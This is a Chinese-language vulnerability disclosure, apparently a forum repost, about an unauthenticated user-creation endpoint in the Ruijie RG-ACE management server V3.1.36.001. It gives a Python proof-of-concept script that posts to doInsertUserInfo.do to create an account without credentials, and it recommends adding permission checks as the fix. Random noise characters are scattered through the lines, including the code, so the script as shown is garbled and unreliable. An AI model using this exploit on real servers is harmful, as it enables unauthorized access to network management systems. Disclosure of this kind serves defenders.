锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
! J8 J$ M0 ]! Y" V) G+ I
9 W* N3 U$ C3 E. X; I$ N/ I
; L: f/ S+ ]) e$ @& c+ b测试的具体版本是+ h6 R4 x5 Y5 v0 d: r Q' ^4 j
产品名称: 锐捷应用控制引擎
& F0 d1 S' O% q' O% g& q4 b. C# I/ m版本号: 3.1.36.001 TC
/ d/ S, \9 y. F0 I( H* }编译时间: 201104291730& W! L& y0 Q [% k* j# s
7 c$ b; u4 B' {* H/ U8 Q% c
: G* g$ {+ u) L* T' X/ j! B' K2 O漏洞证明:
. d" i" o/ \5 ~6 T
! G6 b/ s! U5 M# f9 U2 J3 g, P6 U* ^
( t; m3 J) G( C e
8 Q+ ]/ d Y9 R7 S" I8 ~0 j! q9 e3 \! f
; v ^8 r$ @& j8 m" H5 O3 G9 f
执行脚本* _0 V Y: h @
#! /usr/bin/env python
0 {+ [' l Q( G3 N, f; E( q1 f#coding=gbk" u1 d" g; w% d, T0 p5 }: _
#RG-ACE管理服务器 V3.1.36.001
& N: U+ T2 J* W k& C/ Z% @4 I" pimport urllib2, urllib,cookielib4 _# _8 q: v* q8 g& F
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP/ Z/ s( H a7 ]3 D
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
& l. G& a1 x, u) `2 xopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
, Q8 R: I& U/ Y9 _7 ~5 }post=(("event","userManager.doInsertUserInfo"),
7 _' _* o0 m x% L- A* G: g("useractionname","addButtonValue"),9 _% B* c4 b/ M* n S7 F1 W& \
("useropermanager","userManager"),+ i7 M1 W6 q3 f
("userName","t"), #######账号自己加+ |$ U0 Q# m; A! b4 T& o
("pwd","aaaaaa"),######密码自己加
" d# A9 L$ A( a/ s; r("trueName","ad"),
; v3 W" H, \* S1 W7 v4 q6 V2 w("email",""),+ a5 C, K w6 g
("mobilePhone",""),
$ Q7 y$ q9 J" J8 V("officePhone",""),/ H. V. d1 K2 L
("addr",""), [) ?: v* r1 p8 A6 u/ m. ~
("submit","确定"))5 X6 Z! Z2 v% Z' M
urllib2.install_opener(opener)2 f3 H$ X& |. F6 v. Q$ _& y
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
2 E/ u9 h5 s. D! |0 E! b/ L$ J, Nprint "Done"3 L; E1 L4 ]. U
4 W/ `1 t. P- T: i登录,连接设备
9 b/ G2 O( G/ {' a7 p2 O$ ?/ e
( y6 ?% W9 V. |4 a: C' v( c+ G: w2 c% y/ m* O" F
( r6 Z7 j6 ]8 }) z0 B/ j
* P7 a. g1 M* N. s8 w6 d; D! \, e. _6 C; B7 H
默认的管理员admin权限更大点" T5 t7 g! j. i( g
) G& i) N T6 a: ~% a [9 U7 x" _: Q e) y
1 ]! Q2 g j# [+ Y5 d0 r1 \2 t8 s 3 T9 j; F& J( g: W
2 N# d( J$ @* S/ \' T* K
修复方案:9 v G( ]2 r- X) i4 u/ D
加强对接口的权限验证" P. l8 K' q+ f F" `# ^# [, a7 K; w
$ z0 l {; S- _7 d4 I9 b* O% n |